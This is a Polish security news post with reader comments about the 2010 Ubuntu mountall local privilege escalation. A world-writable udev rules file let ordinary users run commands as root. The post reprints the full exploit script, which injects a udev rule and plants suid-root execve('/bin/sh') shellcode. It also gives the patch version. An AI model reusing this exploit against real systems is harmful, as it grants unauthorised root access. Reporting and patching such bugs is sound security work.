9:58
22/9/2010

Exploit na Ubuntu (mountall)

W sieci opublikowany został exploit pozwalający zwykłemu użytkownikowi systemu Linux Ubuntu podnieść swoje uprawnienia do poziomu roota.

mountall local privilege escalation

Błąd znajduje się w regułce udev, którą tworzy mountall. Chodzi o plik
/dev/.udev/rules.d/root.rules — jest on (błędnie) tworzony z prawami do zapisu przez wszystkich (0666), co pod pewnymi warunkami może umożliwić zwykłemu użytkownikowi uruchamianie poleceń na prawach administratora.

Ubuntu

Ubuntu

Exploit

#!/bin/sh
# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z "$1" ]
then
        echo "usage: $0 <UDEV KERNEL EVENT>"
        echo "see here http://www.reactivated.net/writing_udev_rules.html"
        exit
fi
cat > usn985-exploit.sh << EOF
#!/bin/sh
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc
EOF
cat > usn985-sc.c << EOF
char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){int *r;*((int *)&r+2)=(int)s;}
EOF
gcc usn985-sc.c -o usn985-sc
echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"

Ochrona

Błąd dotyczy Ubuntu 10.04 LTS (i Kubuntu, Edubuntu oraz Xubuntu). Aby się go pozbyć wystarczy zupgradeować mountall do wersji 2.15.2. Błąd został zgłoszony w czerwcu, a patch ukazał się na początku września (warto prześledzić jak przez ten czas zmieniał się status błędu z “średnio ważny” na “ważny”).

Przeczytaj także:



22 komentarzy

Dodaj komentarz
  1. Ale straszycie, myślałem że na to nie ma łaty :)

    • OkropNick: akapit “Ochrona” zawiera instrukcje, które odeślą buga w niepamięć.

  2. a mówili że to bezpieczny system a tu bum exploit
    P.S przetestowałem exploit zaktualizowałem ale to nie pomogło

  3. Nie może być, bug w Linuxie – przecież to jest niemożliwe!! ;)

  4. i po co te głupie komentarze, każdy kto ma włączone automatyczne aktualizacje w ubuntu ma ten błąd już od dawna naprawiony

  5. @szymonek760: Logika nakazuje postępować w odwrotnej kolejności.

  6. @Janko Walski
    To nie jest błąd w Linuksie, tylko w jednej z jego dystrybucji, a to spora różnica.
    Błąd w Linuksie (jądrze systemu), to poważna sprawa.
    Natomiast błąd w dystrybucji, to może być głupota developerów danego distro.
    W przypadku ubuntu, gdzie coraz częściej stawia się wygodę na pierwszym miejscu zdarzają się mniej bezpieczne rozwiązania, typu sudo bez hasła, logowanie roota do Xów etc. Wówczas nie można powiedzieć, że to jest błąd w Linuksie, gdyż może to być wynik jakiegoś kompromisu bezpieczeństwo-wygoda (które nigdy nie idą w parze i są zwykle przeciwstawne) lub któregoś z programów dostarczanych wraz z dystrybucją, bądź konfiguracji typowej dla danego distro.
    Jeśli natomiast pojawia się błąd w jądrze, to najprawdopodobniej wszystkie dystrybucji będą podatne.

  7. szymonek, a MS mówi, że Windows jest bezpieczny.

  8. @marines:
    bo z założenia jest, tak długo, aż ktoś go nie wyekploituje

  9. Wszyscy się nakręcają zaraz się flamewar rozpocznie bo dzieci uważają wyższość swojego OS nad innym. A prawda jest taka że jest to rzecz względna i dla każdego jest co innego. Poza tym nie ma czegoś takiego jak interaktywna bezpieczna aplikacja. Zawsze znajdzie się tu lub tam (a tymbardziej w tak dużych projektach jak system) luka, którą ktoś kiedyś odkryje. Linux po prostu jest mniej popularny (i częściowo może bezpieczniej napisany, ale za to mniej ergonomiczny) i dlatego mniej wychodzi na niego exploitów. Jestem pewien że w tej chwili się jakieś znajdują w nim, tylko po prostu nikt tego nie wyłapał jeszcze…

  10. ;) Szydzcie szydzcie uzyszkodnicy Microsoftu i MACa. Moze to wam ulzy w cierpieniach… LOL

    http://geeksaresexy.geeksaresexytech.netdna-cdn.com/wp-content/uploads/2010/06/jobsgatea.jpg

    http://nerdnirvana.org/wp-content/uploads/2010/07/tested-out-new-iphone.jpg

    ale nie traccie ducha Jobs i Gates was… wyslucha… :D

    Zawsze i wszedzie powtarzam. Nie ma czegos takie jak 100%-owo bezpieczny system operacyjny. Kazdy jest do skraczenia. Myk polega na tym zeby uzywac systemu operacyjnego ktoremu zdarzaja sie dziury w zabezpieczeniach, a nie dziury w zabezpieczeniach imitujacej system operacyjny ;)!

    A poza tym jeszcze jedna uwaga na sam koniec zanim mnie sfjlejmujecie. Linux to nie tylko Ubuntu. Istnieje wiele distr miedzy innymi PCLinuxOS… < Taki maly spamik ;)!

    Pozdrawiam.

    Andrzej

  11. Jak widać po historii na launczpadzie to chłopaki “uwijali się w ukropie”. Ale należy im wybaczyć, przecież były wakacje. Każdy chce odpocząć. :-> Ciekawi mnie, czy ktoś pilnuje tego typu rzeczy w tym distro (i innych też). W tym wypadku wystarczy przecież prosta komenda find. ;-)

  12. Panie i Panowie, ciągle o jednym zapominacie. Ubuntu, nawet w wersji LTS, to dystrybucja dla zwykłych użytkowników. Jest bardzo wygodna w obsłudze, ale to wymaga kompromisów. Działa bezpieczeństwa Canonical nie jest tak restrykcyjny jak w Debianie czy Red Hat.

    A i tak nawet idiota wie, że dystrybucje Linuksa są bezpieczniejsze niż Microsoft Windows i Apple Mac OS. :-D

  13. Jedna ciekawostka na temat istniejących dziur dla leniwych . wygodnych :)

    Windows XP – 43 dziury:

    http://secunia.com/advisories/product/22/

    Windows Vista – 11 dziur:

    http://secunia.com/advisories/product/13223/

    Windows 7 – 5 dziur:

    http://secunia.com/advisories/product/27467/

    ————

    Ubuntu 9.04 – 0:

    http://secunia.com/advisories/product/21851/

    Ubuntu 9.10 – 0:

    http://secunia.com/advisories/product/28063/

    Ubuntu 10.04 – 0:

    http://secunia.com/advisories/product/30524/

    To nie wyjątek, a reguła. Liczy się czas łatania. Pozdrawiam.

  14. To jakiś wysoce wyrafinowany sposób na zrobienie “sudo su”?

  15. “The most severe unpatched Secunia advisory affecting Microsoft Windows 7, with all vendor patches applied, is rated Highly critical.”
    I od razu poczułem się bezpieczniej na mojej “siódemce” :/

  16. Ubuntu to taka dziwna dystrybucja;)

  17. @Bardzociekawe – to nie otwieraj nieznanych plików .vcf – bo z tym jest związana ta “wysoce krytyczna” luka.
    Secunia trochę na wyrost przyznaje te stopnie zagrożenia. Dla mnie wysoce krytyczna luka, to by była taka, że bez mojego udziału można zaatakować komputer. Jeśli jest wymagana jakaś akcja użytkownika, to żadna luka jak dla mnie ;) Trzeba patrzeć co się robi… Poza tym exploity, które zadziałają na koncie z ograniczeniami z włączonym DEPem dla wszystkich programów można policzyć na palcach jednej ręki.

  18. Piszecie o exploicie na ubuntu, a temat exploita na większość 64-bitowych kerneli się nie pojawił :)

  19. Toć to bzdura. Polecenie “sudo” + własne hasło w terminalu daje uprawnienia roota. Jeśli jakiś program chce roota, to wystarczy wpisać własne hasło. Wiem bo w domku siedzę na Ubuntu 10.04

  20. Czesław: sudo da prawa roota tylko użytkownikom zdefiniowanym w pliku sudoers, taka zasadnicza różnica. Natomiast hasła użytkowników nie są przechowywane jawnym tekstem (chyba że hasło bazy kluczy jest zerowe, o ile się nie mylę), więc raczej aplikacja sama sobie nie wyda uprawnień roota za naszymi plecami.

    Chyba nie muszę dodawać, że prawa zapisu pliku sudoers powinien mieć tylko root, prawda? ;)

  21. ls -l /dev/.udev/rules.d/
    -rw-r–r– 1 root root 70 2010-09-28 09:33 root.rules

    Jakoś nie widze prawa do zapisu poza rootem…

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: